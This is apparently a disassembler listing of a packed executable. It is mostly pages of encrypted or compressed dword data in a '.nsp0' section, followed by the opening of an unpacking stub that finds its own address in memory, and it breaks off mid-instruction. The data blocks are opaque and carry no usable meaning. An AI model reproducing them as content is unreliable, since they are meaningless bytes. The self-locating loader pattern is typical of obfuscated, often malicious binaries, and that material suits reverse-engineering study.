0F4D51E73h, 0D7201DAEh, 788EB626h dd 821AF875h, 6EB548Fh, 5090F387h, 2A14C347h, 0C1AFAE8h dd 41BA8895h, 0F26554Fh, 5A576BCAh, 0BEE146Dh, 1DF2E835h dd 4025152Ch, 392A9609h, 1E67638Ch, 97C48C8Dh, 69AC93A6h dd 0D8D4691Ah, 493BA0DAh, 940F6B80h, 0E9B2F8E2h, 79D651EDh dd 0C777B1A9h, 0E0009F98h, 0FC26E51Fh, 0E772ABD7h, 6828EEC1h dd 94B9E29h, 0F31765F3h, 37859060h, 54861EC5h, 9BEEBBFDh dd 1AB317A2h, 0BCA76574h, 0FD99AC7Fh, 0E48925C9h, 1CE2347Dh dd 1D87FF29h, 0D376181Ah, 3732F707h, 13A04215h, 4BC5F5A5h dd 5DD61B4h, 1D35A1Ch, 0C14DE001h, 89E6EDB4h, 34ABD9E9h dd 0E62EF53Bh, 0C5A800BFh, 9B1C2475h, 0EC914116h, 0B828EFBEh dd 0F0989985h, 0F2497FA2h, 0E7E500B5h, 731AECA7h, 0AB3EDB39h dd 74C073C8h, 0B0420D58h, 0ADAEDA70h, 9545CD8Bh, 5FF7BAEEh dd 20FF27B3h, 844D9E2Ch, 0A1E180C8h, 3C4966EAh, 4484BD12h dd 89CDC15Eh, 0AC312DDBh, 10385E99h, 2ECA7B3Bh, 788BF248h dd 8F7EB6Eh, 2FC2CFADh, 2F1D099h, 69B75308h, 0B3AAF1ADh dd 6265D4AFh, 52DB932h, 0AAA3ACA2h, 0F837075Bh, 7EB52866h dd 47E0D2DBh, 25AEBAA3h, 27454E72h, 9FAD4650h, 11F54B01h dd 0BB1BCD0Dh, 0ECCBBCCEh, 731D294Eh, 8D75132Fh, 4E1DB37h dd 0C4F131FAh, 0DCA6D58Ch, 9DBBAEDAh, 0EA10F4FAh, 9B9E8AA3h dd 51988F68h, 968A75E1h, 0D8723A7Ah, 0CCD7A26Dh, 0F51D6615h dd 0BE7CFB23h, 990831B4h, 73A2CB67h, 39FBFA14h, 0BD1499F3h dd 0F417350Dh, 0F04FA375h, 0D2711B12h, 0FF74D112h, 6D7CF138h dd 80D67B15h, 1B73F240h, 1AF96F6Fh, 22A0589Eh, 6307B0D5h dd 60AA0729h, 0B0C9D375h, 323B5AF5h, 26E08CBFh, 0F89882C8h dd 7174DCD0h, 3447FC83h, 0A085F6FCh, 649886A6h, 0D7A20775h dd 0A1DAB49h, 54CBCAB9h, 0F9CD860Bh, 2C8E9802h, 462B255Ch dd 4D7A0E4Fh, 71C90499h, 9DA1ED8Ch, 0AB1E3157h, 8701E931h dd 0F612159Bh, 0BD006CB1h, 56851754h, 916D539h, 3E441BE5h dd 0FD92A48Dh, 0D06D0B1h, 9F930B9Fh, 9E8F9E27h, 0F0586EAFh dd 2D71EDCCh, 3707253Ch, 0B86F1A37h, 4DC64965h, 0B6E570D7h dd 301A070Fh, 0B63FF2E9h, 0A26840C9h, 0DB7306ADh, 6E3AB2DBh dd 0DF73D2E4h, 36735BB8h, 7F2DFCE0h, 88268444h, 806B1B4Ah dd 79CF4DE7h, 0B658B6C4h, 872EC9CAh, 77E8BF8Bh, 0B2E076ACh dd 0D8383C20h, 0AFC2E5FEh, 40A42E4h, 7536CDDAh, 0E1C633DCh dd 0B270614Fh, 2AA31267h, 3DD4E05Ch, 0BA30E69Ah, 44767DE0h dd 4C1FA2C8h, 670A68FEh, 0F57F5BE3h, 0D568F4E4h, 0A4A3F5D1h dd 0CE4BE768h, 0F4405FADh, 0B323E8D1h, 95FA040Dh, 0DFC10994h dd 9965E9AEh, 0A156969Bh, 0AA79140h, 881C46F4h, 8CF1FE79h dd 2DED5726h, 0DB067840h, 926E980Eh, 0AEC87CCAh, 9DBE8925h dd 11CDCA9Ah, 163E7FE4h, 361C5FD7h, 33E1F596h, 0E8C5017Ch dd 95796434h, 0D50A6317h, 0ADEE45C3h, 553F82F7h, 29B79461h dd 90ABBF6Eh, 0D77F5090h, 0FE4E29C5h, 5070ADA0h, 19BD721Bh dd 7DE81BC9h, 0E0BB49A7h, 9664F12Dh, 0CB4DBE71h, 0ADA86463h dd 4D389675h, 0B3472C14h, 0B776195Bh, 35F4DB3Eh, 33865E23h dd 0AFE6A7Eh, 0BB87068Ah, 15667847h, 474E6422h, 8EA31814h dd 9B311FD9h, 0E38A895Ch, 0C6BC2B89h, 92D86B28h, 6684FE7h dd 26553C2Ch, 0BFB0087Ch, 0F5BDA5Ah, 43AE04Dh, 39767C4h dd 5749FF73h, 0A96A9BB8h, 0D9ED56E6h, 0BCD2DBB0h, 436FFFFAh dd 8399DB90h, 783BBC84h, 0ACEC2DB1h, 178D3D0Ch, 0CC4C76CDh dd 6883D584h, 2E23491h, 660E5627h, 0BC46D17h, 6DE91A70h dd 65BA5F33h, 0F8C59B32h, 2BD11669h, 0DBA12837h, 57869A03h dd 762E5CE4h, 81829F47h, 45DF647Ch, 0CDEF114Ah, 241B49BFh dd 0DE41230Ch, 0B9296E65h, 4E32ABB5h, 1AB7F7B1h, 40FBDBC2h dd 76516CE2h, 5C039CB1h, 0AC31EA37h, 2E102015h, 0DB5CA478h dd 1A88DAE7h, 0DC7AC53Bh, 750D74F0h, 0F31EA3Dh, 463E044Fh dd 348D48E7h, 0DF4A47CDh, 7E376AB6h, 0C89D5AC3h, 839C51CCh dd 3A419AD3h, 35BCDD8Fh, 13D50A3Eh, 1341ED20h, 44E0F66Ah dd 61CC6A70h, 176245D4h, 4DA660Dh, 424E4C0Ch, 7734403Ah dd 4F79B13Eh, 998EB379h, 9DDA2538h, 0AA12F56Ch, 410C66DAh dd 946C1848h, 38993D32h, 5BA45F08h, 0C9A6E201h, 5DFAB2EEh dd 21381927h, 5232ACE1h, 0BA29639Ah, 49B3302Eh, 0D0F92A4Ah dd 45A25489h, 0F578C7AFh, 0AD10A98h, 91F362E2h, 2AD94A86h dd 11FB54F2h, 1BAE70B5h, 9E2EF788h, 3AAAE153h, 4C5BA17Bh dd 2803CDCEh, 7ED16D5Dh, 64FC9D92h, 445587AEh, 97B4ACA7h dd 4A3C88FAh, 352758CDh, 86C048DAh, 4A8F7FC7h, 3C50EC7Ch dd 0E3B3BDE3h, 742A3D1h, 16E4B63Dh, 4975880Fh, 0FCF03534h dd 418B6A0Bh, 841ABFDh, 1A208B77h, 8B288CBDh, 0D00E0364h dd 0CB0CE89Ch, 700037C1h, 724AE049h, 78027C3Bh, 0EF729C44h dd 9BEECBEBh, 8E1960D0h, 6870F449h, 427DB3Ah, 5595F8E0h dd 36925E28h, 1687A7F0h, 0A1ED8F0Fh, 0DE9E820Fh, 2DE02013h dd 498F0D04h, 0DB1352F4h, 48B5E7F6h, 0D6842C5Eh, 32D32C87h dd 0CA661198h, 758DF571h, 0D0DEFBCDh, 5F0FC28Ah, 60048975h dd 21D55826h, 3612C81Eh, 280D88CBh, 0B1CEC513h, 3EE1C51h dd 8A5D976h, 990D460Fh, 67CB5882h, 52DF3C15h, 0A0EB03F8h dd 0E6DD5635h, 0C25AD76Fh, 2DACE427h, 0D1DB50Fh, 55D9153Bh dd 1E957AAFh, 4F87DF4Ch, 966FEF56h, 0C0B5D983h, 0F739CBDDh dd 99641231h, 328ACD9Eh, 6B5DF1BFh, 60A4A231h, 95BA73F8h dd 0EC9588EDh, 6F3329E0h, 711BC092h, 67CEABA6h, 79759EDCh dd 0CAAD964Bh, 0D66632B4h, 19C0B971h, 486F218Ah, 2C086CCFh dd 0B452E1D2h, 0C446340Fh, 305EEDF5h, 1A731B0Ah, 0DEC0D8EAh dd 3148A151h, 0ED4CAD14h, 96866F2Ah, 559A24FEh, 287AB1FCh dd 0AFF11F65h, 255AC86Fh, 76AD14FBh, 3D998755h, 2690F314h dd 592C8313h, 30F62F64h, 3D504C12h, 26127EAEh, 7392FAAEh dd 4A6373ABh, 85849381h, 0CBB8B486h, 81BC5305h, 64E956F0h dd 48B307h, 0A91BA2F1h, 0D01412E9h, 0D3CD705Ah, 43E6C5D2h dd 773B9F41h, 48F3B6CBh, 0E451D497h, 0A3EF1448h, 2E8937E0h dd 15516136h, 107887Ah, 64F70B44h, 0BAEE55Ah, 0EEF88034h dd 0E689811Eh, 556E0E6Eh, 795DC26Ch, 0C0D3E023h, 0ACAFA9Ah dd 8E8DEA16h, 0EEF9F438h dd 504B6171h, 87B68B7h, 0DB3A16A5h, 7B8372Bh, 0CE77A2E1h dd 0E4872454h, 7AC8C3C1h, 0F5B7BBE3h, 0CDF6616Bh, 13E539BDh dd 0D29DB2BCh, 1DBCA198h, 7E897AA4h, 0D509A69Bh, 0CD5376CFh dd 0CA90EF8Bh, 0A1B5BDBEh, 4771C8A0h, 8BD89B0Dh, 24B1E251h dd 339DD1D1h, 0C141C05Eh, 0B285D4B2h, 91720681h, 6F6F4F3Bh dd 6F5C0FF5h, 82D2CACAh, 5A3BC36Ah, 0C7323EC8h, 0E75F99D6h dd 0F1647415h, 0A37F015Fh, 3D203664h, 6B52ADE3h, 0C14807BDh dd 36413D59h, 0CDBA6F2Bh, 0AD157A0Ch, 1A16F6F4h, 8FE8DFh dd 6A54D6E1h, 228ADED5h, 898AE957h, 62BD4A86h, 0D3BE572Bh dd 8C986342h, 48EA1A02h, 72735255h, 95D67AEFh, 917D4B07h dd 0A47DBF94h, 9C0566CBh, 47800BFFh, 36EC47AFh, 0F148600Eh dd 7B162F57h, 0EE7EDEE8h, 0F8E2A054h, 64EED89Fh, 0C6BE0787h dd 1A9E4C0Bh, 1DBA6461h, 0C015CB69h, 0F3E2035h, 4DA00845h dd 0A944D962h, 1BC05CBh, 0E09090BDh, 57F47F7Ch, 5AF6F43Ah dd 36CC34BCh, 62D0EF5Dh, 84C7B6EAh, 5CA1E46h, 216CAE65h dd 9711FF58h, 4255DB69h, 5EFA090Ch, 0EE67E7Dh, 5531D04Dh dd 97187245h, 77EF59A2h, 4F529127h, 2CCD234Bh, 0BBA682E4h dd 0E43088E8h, 9CCF44D9h, 45812753h, 2ACD4D23h, 0BE60A9D5h dd 5277382Fh, 0C76E5863h, 37444089h, 7F69FEAAh, 0DFBC3F07h dd 171BC0C3h, 253A2619h, 7BBE77C6h, 90FCE195h, 0F918C74Ah dd 0C445DDCBh, 43619EC8h, 0F504E03Fh, 0B654EC3h, 0CA933C18h dd 8E048662h, 0B1CE7922h, 0F0E53F5Ch, 48C2EAEEh, 8380321Dh dd 0E52AE89Ch, 450892DCh, 1BA1B4E6h, 6499CEAEh, 52B75E63h dd 28D8A997h, 60F53CDh, 0AFC02364h, 2AE2466Dh, 0C8CAFABBh dd 24324869h, 402EC2h, 1E2A3045h, 0CBF8DF85h, 0BD865F65h dd 0CD2763CDh, 1F9028C8h, 4BA1076Ch, 0CEEC3D80h, 0F4E66823h dd 70C6BB1Fh, 0F0B0CB3Dh, 0F8E1953Eh, 0E816B290h, 73BB3FA3h dd 0B55C36E9h, 0A2601590h, 0C3941E33h, 6B8ABF78h, 77A9C854h dd 0B660C026h, 0E18A08BDh, 20807311h, 0D80EB9A9h, 1A1CAFE0h dd 0B64A5D3Bh, 0EC4300D8h, 0CAE999B4h, 2E81B08Bh, 3EBDF15Eh dd 79C4D9C3h, 60E99231h, 0CBCD3C50h, 0D6402D86h, 5DBB52E8h dd 0A3ED3347h, 3DB765A5h, 0CC727E2Ch, 575CC492h, 5F6363B3h dd 4DA15787h, 0AA59A02Bh, 89AD54EBh, 0FBE14777h, 3FA4B89Bh dd 6F48BE66h, 0A3A30608h, 521B2B36h, 15495749h, 0C6264E02h dd 97FA4250h, 45318BE5h, 1DF59AF6h, 35033EC3h, 0B9F3E5FDh dd 83A9CC67h, 0AE2D914Dh, 0CE0A746Dh, 446302D0h, 4C791856h dd 6FD13EFAh, 187B0B3Dh, 0F2AB4442h, 4F735B46h, 70CBC995h dd 1F66E92Ch, 0AC9B5497h, 726C6A24h, 6D0119CEh, 2F0B483Bh dd 0D1423BA6h, 0FEBA1FFAh, 32645101h, 0EE19306Fh, 0B8E19B5Ah dd 897BCA0h, 0B0311F94h, 0CBDF0E09h, 5FC53BC3h, 0EF4B23ABh dd 41018E8Bh, 7FA2A982h, 37145FC1h, 296E8A2Fh, 0DD7220Ah dd 24B5BF4Ah, 3F5A1ED2h, 333F0F18h, 0B31A6C32h, 233D80BEh dd 0D0D124D0h, 0DAE8E715h, 8E3C941Fh, 21128698h, 95CFB81h dd 40D29E16h, 3506A08Ch, 507DCF87h, 34787048h, 947AF5Eh dd 337E4CFFh, 422D49BFh, 8CED3769h, 594CAACAh, 595C30E9h dd 32CD82C5h, 0A6F74A3Ch dword_490054 dd 0C76D37A1h, 0C7659E55h, 2CED7B5h, 76D6F06Fh, 6F035716h ; DATA XREF: .nsp0:00419BE1o ; .nsp0:0041A411o dd 80FC912Fh, 0D51F51CAh, 5968FE92h, 64F39790h, 1ADBA555h dd 0A3C467EBh, 260A0009h, 27151468h, 20868177h, 0F25B1699h dd 4C3249DEh, 401B1A46h, 650DCD79h, 0E2B186DCh, 9DAFFC0Fh dd 88C10F35h, 90604981h, 0EFC2A166h, 0D6F29CA2h, 0D409EB4Eh dd 0BAD5A8C1h, 7DB53564h, 1EE85732h, 0D24422C6h, 966D4EF1h dd 374E3BFDh, 2F96131h, 83A947E1h, 74E4FCFEh, 0DFB68671h dd 0DE1F9E9Ch, 97041112h, 389E0FDAh, 0EFE60C6Ch, 0E0347DF4h dd 0EA762F68h, 0FCB948AEh, 0C209685h, 2BA540ABh, 52FAE29Dh dd 42EAE397h, 0E0593565h, 0A7AF2D79h, 0C9B4E6C7h, 32707154h dd 9222EAD5h, 73864C10h, 6C375508h, 0B23637F7h, 0D8B28912h dd 0B19E06D0h, 0DBA2C9B0h, 8CB40A2Fh, 8AFC39A9h, 624004E5h dd 80D63AC8h, 4174A262h, 83225393h, 0FD869F26h, 0F3CCEFE2h dd 0B18ED9C8h, 90BD4DFBh, 0D6070CFBh, 0DF6A95FEh, 0D88A7344h dd 0D1F79B24h, 509F5AD3h, 0C4D01F6Fh, 58C778CAh, 704DF983h dd 60E6A8FDh, 34AB054Eh, 2F3D2021h, 5D5A45A6h, 0F58428B5h dd 55B44926h, 0AB7E0F38h, 36C64988h, 0B3B9B7Ch, 0A8823A6Eh dd 92BEF386h, 49DB9615h, 0EF650668h, 9C97CA04h, 0E13FD27Ch dd 3AEB2693h, 0E677B757h, 0D0A5F22Bh, 0ED713347h, 0C7E907C3h dd 6AAF8DCDh, 45E3C369h, 7D9C883Bh, 18BCE2CAh, 8698F80h dd 0DA706CEBh, 9FC123E3h, 4526BA6Dh, 5C9AC55Fh, 7C8CC54Fh dd 6417E448h, 0B6AC419Dh, 8C88885Fh, 0C249608Eh, 0BF275448h dd 688B0F43h, 0D67773D3h, 65F467ABh, 8CD3DF07h, 76AA97DBh dd 9C309679h, 0D65C536Dh, 0C8529E8Ah, 1642C75Bh, 0C6D25EC1h dd 0F8F200B8h, 0C8B3FDD6h, 0A85A92F2h, 0B47D4E21h, 19A69B9Eh dd 0F10349ACh, 47E15FB7h, 0B6007529h, 2B2010BCh, 5E1EE6A8h dd 0FDFC9094h, 4AAE0F7Ah, 160E4CEFh, 0CAFF19D4h, 0D6C4A6B7h dd 1D6A39E4h, 855184F7h, 0F55A0954h, 455152CCh, 423A9F50h dd 5195AA3Ah, 94DB4E5Fh, 7B003004h, 0D844E6DAh, 72DA7832h dd 5FF8E737h, 0D20F8A1Ah, 6E10EDB1h, 41E8BA0Ch, 5363F9D2h dd 0BF5EDC54h, 0E87BB268h, 0DCECAE08h, 0C850D663h, 4E1FD0BAh dd 0EABA5EF3h, 5D2FC146h, 5A9D16D5h, 5EC176CDh, 0BF923CAh dd 0C2F0EC9h, 0C85AD7F2h, 0BD386AC5h, 4F4A4419h, 0A1F0A121h dd 0B3075FD0h, 644AF813h, 239B6796h, 0B68FEDC0h, 13839D55h dd 0EFBAD756h, 0E35132BEh, 2E9B4B58h, 70604C16h, 24FC6469h dd 4C361B1Ch, 0F018571h, 67366577h, 2D5318C4h, 5CD1FDDFh dd 0E46A9D39h, 1D5520F4h, 0CB3BE12Fh, 0C407FDF5h, 7F779FF4h dd 75261A6Dh, 509E41E5h, 125004FDh, 4B0ACBAEh, 83BADEB2h dd 131D6581h, 3E0DA30Ah, 0F99D81C1h, 0B17B430Dh, 57338DE4h dd 4C8F532h, 0F228BAB9h, 547BDE2Dh, 355B0C9h, 1A9582EBh dd 8C36BECDh, 22AA0D4Ah, 2FECE109h, 86A659B8h, 9671FAC9h dd 0DBEAC3ECh, 361C7402h, 0E6278E87h, 387FD1FAh, 21A57DEFh dd 715B70A0h, 297944B7h, 9F2C2C76h, 60A33F0Ch, 59087366h dd 6D75FEE8h, 83C10341h, 63FB0396h, 0FC917EACh, 2900E511h dd 8F1F2323h, 0FD5EAECh, 0F0E773CAh, 0F00F43F4h, 2E1CE4D1h dd 38797EB6h, 6B3EA919h, 4EC8440Bh, 0B284FD0Ah, 9E155D23h dd 74986A82h, 0B71F56AFh, 713ECA6Fh, 70D8FFE0h, 0AB9D63D7h dd 0D64DBDF1h, 827742F5h, 0C2501EC8h, 84F08DD8h, 2A3467B7h dd 0BB92CB84h, 2778E39Ah, 0E818D08Ah, 0B3BE48AFh, 0BCD702EAh dd 5C4B142Fh, 630AD258h, 0BD29D9EAh, 34EF9B33h, 0D2173793h dd 867096F7h, 0B70A33DDh, 91DAD83h, 1DA5E9E9h, 4E1E75B4h dd 88DFD6F7h, 677E1B29h, 6818859Eh, 62FFB886h, 0E6607B16h dd 2CDC852Bh, 0D7C463CFh, 0A008CF22h, 784AFAEFh, 8E073E39h dd 0E152DDE2h, 0DADEFC61h, 0F1D9D4AFh, 0EB07C66Fh, 0AED9F042h dd 0A50C9731h, 68747C7Dh, 65877D5Ah, 9D663225h, 8E9A4B31h dd 0D29D9CCFh, 3F6440E7h, 7C394740h, 95898DC2h, 924F7275h dd 0F49720B5h, 947AB784h, 724A6C95h, 0BB5D0273h, 0A71E5824h dd 4921B428h, 0DCBB8027h, 921201F5h, 955A3F60h, 9CDDA948h dd 0EFDE8BF1h, 9F4266D0h, 0C1B24C81h, 0DBC37CDEh, 3AEEA4DBh dd 0A373C052h, 0C17F2DF8h, 0D16735F3h, 32BA278Dh, 517CB64Ah dd 1E376DA1h, 6E3D44EAh, 0CDC78B7Ah, 0F64B6F34h, 39F75D03h dd 0CD81327Bh, 666601CDh, 435AFE28h, 57090BB6h, 4800B83Bh dd 0F6ED7DCAh, 8DE0D32h, 0A25B1CB0h, 6F2C6287h, 0BCCDE6B5h dd 248E0E36h, 8626B998h, 0E2299815h, 0D7EC2096h, 6FDE7BFFh dd 247A8ED3h, 0C1847230h, 6AF06192h, 51469963h, 0D23D3FA4h dd 0F0A893F1h, 7C6672F3h, 18155735h, 79A582DEh, 61B9CA40h dd 0EE32DADEh, 72AB47FEh, 0BCF9FBA2h, 9907EC17h, 0EDD182F9h dd 714CDB7Eh, 58B60E60h, 16A1AAE8h, 0F116216h, 597C9B2Ah dd 6FE1E82Ch, 6291F904h, 70FA16A6h, 0CEE0A2ADh, 1737A6B2h dd 8FF52938h, 6595FA9Ch, 0B3A3C953h, 0AD04A575h, 0CC841C40h dd 2DF82216h, 0CD24F439h, 22FA7E43h, 74583A70h, 0EDAD5D1h dd 732F2FEh, 0EFC917BEh, 537EDFD2h, 488E8C82h, 94B00688h dd 591ED9A8h, 49863361h, 0A6C29519h, 0F0E74E14h, 7D5E3CADh dd 5A5D5474h, 45FF31D9h, 0CCAF3CBBh, 8A53EFFh, 311CCC90h dd 2A5BCD8Ah, 1A942494h, 0C1C7F687h, 30573755h, 0FA8329E1h dd 2E22BDC2h, 0C0D2D76Fh, 377A808h, 0FEE9C975h, 5FAD1798h dd 20466842h, 4EC7318Eh, 0A6C393CAh, 2745D26Dh, 7D3CDE65h dd 8A5D2171h, 135BAEACh, 85D0C488h, 0B03ACA9Dh, 5A0A0EE7h dd 0E12F8DBFh, 86352D0Eh, 0E5925DD6h, 0DE43DFD5h, 0E95275A4h dd 7DE043Bh, 0FDFEE917h, 70374B78h, 648F6E4Eh, 0C22193D0h dd 0B64599C1h, 97346455h, 1BF10D64h, 25D90770h, 0A817EB15h dd 0AB2F1FAFh, 447F1E4Ch, 67487F2Bh, 0CCD1441Bh, 831F011Eh dd 7F05C040h, 0B459203Fh, 0AE4ED680h, 4E909BA3h, 0B379894Eh dd 17D07EFAh, 46A64EFAh, 0B9B7E098h, 79819180h, 60CF18EDh dd 6D2A94BAh, 0CA2015B7h, 81C035F7h, 99199FD9h, 0E32CA480h dd 13D299E5h, 52284BDCh, 11C773A9h, 2C950E8Ah, 0DEA51BD7h dd 0BDDAB7F8h, 29E1111Bh, 8485BE30h, 6DCC5A9Dh, 0C7C9589Ah dd 0CC73EC71h, 0DB1D82B2h, 3AFE15B9h, 570E69F6h, 0AF059637h dd 4F2C462Eh, 0F53A0A7Eh, 885EB54Ah, 240B12E1h, 71DC9E4Dh dd 93867640h, 0A456D81Ah, 1ED6FB6Ch, 0A383A9E8h, 786B71B9h dd 19D3B8DBh, 0B21A077Ah, 9DDF33E9h, 978572Ch, 6DD961D2h dd 588CF30Ch, 98F43BA9h, 416E77A6h, 19702B78h, 235C9295h dd 0D853EACFh, 25E11AD9h, 598030E9h, 58A5A196h, 0DA991225h dd 6CFBC88Dh, 5A886E5Dh, 0F189A62Fh, 10119B0Bh, 5F7507DDh dd 60575342h, 35F67D4Dh, 0A29CBDBh, 66ED32F4h, 4FBB6516h dd 6963167Dh, 5573D4h, 0E81FA2D4h, 5ED73F1Ch, 5D2301B8h dd 20542365h, 154D2C33h, 0BF0D07D1h, 9C6D770Ah, 0D14ECA05h dd 1668F52h, 8A94303Ah, 0EB382A54h, 9FF03338h, 0DFF421A2h dd 198FF621h, 4DC25751h, 90862C53h, 0F069A9AFh, 5960F02Dh dd 0AB443FD5h, 2ACEB05Eh, 0CCD36CCCh, 9F1551DCh, 65E2F681h dd 151BAF99h, 2FCFF731h, 0A8594164h, 13F780ADh, 47607AC3h dd 932757F0h, 6E2B2D3h, 0FD862B97h, 5A731AC4h, 6F04D7FAh dd 0AE272DBEh, 0FB2F70BFh dd 2F46A0FBh, 1BB9600Bh, 976BB970h, 0D2E14836h, 89A5AA60h dd 71D8FF07h, 0B53045C6h, 0D98E3525h, 0B9D0966Ah, 880092A6h dd 61C8C9A0h, 8FF63E49h, 0B80113A4h, 9646FA7Fh, 6D3E7748h dd 4E62F2FBh, 469A0247h, 0D7BE5521h, 0F8B6E530h, 0E3851A5Bh dd 52630FA3h, 59D79B2Fh, 0B4452F0h, 0AD3BC947h, 0BFF6412Ah dd 164EF1B4h, 0A4ADDAD1h, 4FB630BBh, 0AF764428h, 7CE8A100h dd 0D9103CCh, 7D803CBFh, 0F05A62C7h, 0AE36A36Eh, 888833B2h dd 0D0F4111h, 9FD1B742h, 61F2D275h, 5D5753CDh, 75CBB42Bh dd 361CFFEBh, 800F8ADFh, 8F020183h, 53FFCF66h, 21864B47h dd 1E9E73FDh, 0DD94A419h, 5D5899C0h, 7248416Ch, 0D5B59827h dd 0AE93A4E0h, 0AAF23924h, 1364DC92h, 45C30470h, 699BC6F4h dd 80D1514h, 5284D995h, 0D5B01352h, 1B503AA5h, 31A68DAAh dd 392592Ch, 1AC2BEA5h, 0C315918Bh, 0D8EF7BEh, 17AB2785h dd 0DA975F85h, 26F44D38h, 858548DCh, 0A1B420Fh, 0BAEE83A2h dd 0F60E1E2Dh, 0DBB1C9E2h, 3CE48E36h, 785DC93Ah, 0DCCA6A32h dd 2EE35D6Eh, 3A0124EFh, 73C35503h, 0C67B1A01h, 0DAEC2D7Eh dd 0A2D1DC16h, 0AAD6C801h, 91A5A533h, 459A77F7h, 2143807h dd 96782D2Dh, 0FC16D369h, 13DE68F0h, 3474AB3Fh, 5488EC19h dd 0EAF25676h, 13291E57h, 0B716B92h, 4AA408AAh, 21DBE65Eh dd 65BB841Ch, 0BCF1A101h, 160C8C06h, 351038FFh, 9DB0554Dh dd 0B50D142Ch, 1E6CFC31h, 5C84A807h, 0A8B82C4Dh, 19AD0A61h dd 2EBAFC8h, 0E90108E6h, 976D7B1Ah, 19E40618h, 18B8E20Ah dd 3C2EC033h, 906D2F49h, 187B2A7Eh, 0DE768820h, 95181691h dd 336B991Ch, 7CCED79Eh, 84E9DFB4h, 7B4D044Ah, 0AE36E407h dd 101665B2h, 4685964Ah, 0D841FCEh, 85699C60h, 0CAFCA41Bh dd 0EF8C9A6h, 63F64307h, 9A7B27FFh, 603A1AE3h, 9CD1BF48h dd 5119E6DBh, 43D961Ah, 0C7FDC1A1h, 0CD35053Eh, 0F029E3C7h dd 0BC16D8DCh, 0C677A252h, 0B37EBE97h, 520840F4h, 227FF3FCh dd 2E5BB4B0h, 8DC2B1CBh, 0FB04FD2Fh, 200F7209h, 1BF2D401h dd 0A478CDA6h, 7C93D96Ah, 898EC4F4h, 0DB2D6629h, 0F639D225h dd 8836AF83h, 3D87C85Ch, 3E2F2375h, 7749B35Eh, 8CE75362h dd 0E0B0EFA1h, 0BCC748FCh, 1A33BDA8h, 0A1686A4Fh, 4315ED84h dd 0DA2CE0E4h, 725AF0C5h, 0E5EEBD27h, 0C00EBE76h, 0E6A971AAh dd 3523EF13h, 30E461FAh, 37598D4h, 51948491h, 6C923FFAh dd 0F2B28615h, 1FF83B47h, 40AD5299h, 5FE26685h, 97EE45E1h dd 0B3E5A1E9h, 55514750h, 0BC433ED5h, 0ECAEDA1h, 3DF08C56h dd 8ADA374h, 0CB4F98BAh, 0D0F647BEh, 93CA390Ah, 46CA60ABh dd 4968A787h, 214F12C5h, 4DA857C8h, 41464EDFh, 0D41535ACh dd 62B93690h, 6D6B1B82h, 30FF19ECh, 2A6CBCC5h, 0EF119562h dd 0AD28E983h, 97105EDh, 21E3AE3Dh, 0EA297C43h, 16AB054h dd 0C2C3CA77h, 0F01BE2D1h, 9CC796FCh, 648E310Ah, 0FF81ACC0h dd 7D8FDC0Bh, 0AE8A25E5h, 296B5371h, 0BD7B8D2Ch, 0B06A8B5Ah dd 6E8E9929h, 943025F8h, 90189255h, 0A61A4FA9h, 0B075097Eh dd 0BBB071F7h, 5A27B17Eh, 0D6931F87h, 0BA1392BEh, 8903C19h dd 140F7538h, 66BCF926h, 6021BA48h, 0BBB7F5A2h, 5EFFEA9Ch dd 65BCF185h, 0E1E6AF0Eh, 78F98D50h, 24556265h, 82FA5F02h dd 0C2A275AEh, 49B6AB12h, 1BEA99Ch, 2BC55DAAh, 0BDE90CD3h dd 0C46E3EF9h, 6326ED8h, 0CEEBFF47h, 824AE5EFh, 0E82D6DF5h dd 0A20B3C30h, 71AF4503h, 1C783139h, 8E1EBA9h, 0C622A822h dd 5B15A8DFh, 94AE863Bh, 0A22F6A40h, 75439E46h, 8BCC3973h dd 1B354125h, 0CED1E6FAh, 0D2E12023h, 0BF30ACB1h, 5B0C05DAh dd 39918DC7h, 0DD9EB6A4h, 3234369Ah, 0F6979C6Ch, 30358716h dd 0B919826Ch, 7CD52D23h, 0CE37DE8Dh, 58605724h, 11164565h dd 18A8C000h, 26D21FADh, 4F8F6402h, 0EB6F19B2h, 4E612538h dd 4A9900F2h, 7FA12056h, 0D0854718h, 589E870Fh, 9E19A15Ah dd 87309A91h, 89085F77h, 0CA82C94Dh, 7536D02Fh, 449274D1h dd 4ED3D9BDh, 877CEE9Dh, 0FA13EA03h, 50AD2F37h, 1DFF9504h dd 0F9E0C456h, 0CA8DBE03h, 0C53D2864h, 0E80F955Dh, 5CCA290Ah dd 94A27CCAh, 0B2B1C53Ah, 0AAAA02E9h, 0C9917A58h, 599FB949h dd 3BD2F4E0h, 0DB76BCC8h, 6EA98E15h, 0DD91C600h, 0EF13AFB0h dd 0B865B126h, 6FA25D86h, 9828C08Ch, 0C67B1674h, 77E4279Ah dd 0E75CA228h, 840F9C30h, 8A9A8D14h, 0EA49BEB5h, 872CC8E0h dd 0F7A2A692h, 3509024Fh, 0DC96EB25h, 0DE9CD16Fh, 77F74BA7h dd 4E0309C9h, 0DF6C4841h, 0A6BD25DDh, 6B9C932h, 4A20D3F5h dd 0AF64E158h, 99237542h, 7DCE6E19h, 0D423308Eh, 0A38DC5E0h dd 0D391B8BFh, 7DE7D34h, 7684ED54h, 0D46A9EF0h, 0E9421DB1h dd 0F19A9EC6h, 0AAB45493h, 0F2FD57F1h, 0B5EBC53h, 0B134684h dd 0C0511DCh, 3E0A5773h, 2DE8340h, 40ABC1CFh, 730B37FCh dd 0A01F4013h, 3AA87A7Eh, 0F805EA89h, 91D72CB5h, 0A70EA10Ch dd 9A632DD7h, 0B9AD1045h, 8DF82E7Ch, 0C5F92D44h, 0D801ADFDh dd 0E96DC415h, 135E6891h, 7D9CDDC6h, 5562889Dh, 0B0510EB5h dd 0F9687A34h, 0EDF13C65h, 95609DF8h, 0B5F9376Ah, 0AA224177h dd 0CB767B03h, 8956C9DDh, 9066A6A9h, 3F40795h, 0C87EDFA8h dd 0CF3E1F5Ah, 32948F25h, 0F4E070CAh, 8C1440C0h, 798777C0h dd 0F09C276Fh, 1C2C1B8Eh, 0F3E811FEh, 15E5BDFDh, 0A7BBB0D8h dd 252C4528h, 41588DDEh, 8BF7A460h, 0DA3F234Ah, 9D52A1B2h dd 3B4D0C8Fh, 0DAA10D96h, 686F7089h, 79249E13h, 917E002Dh dd 88331BFh, 979257F1h, 9D405CF9h, 0B59AFFFFh, 0AABBh db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_490E6E: ; CODE XREF: start+272j pusha call $+5 mov ebp, [esp+24h+var_24] add esp, 4 lea esi, [ebp+0A5Ah] lea ebx, [ebp+240h] xor edi, edi call sub_491010 push 40h push 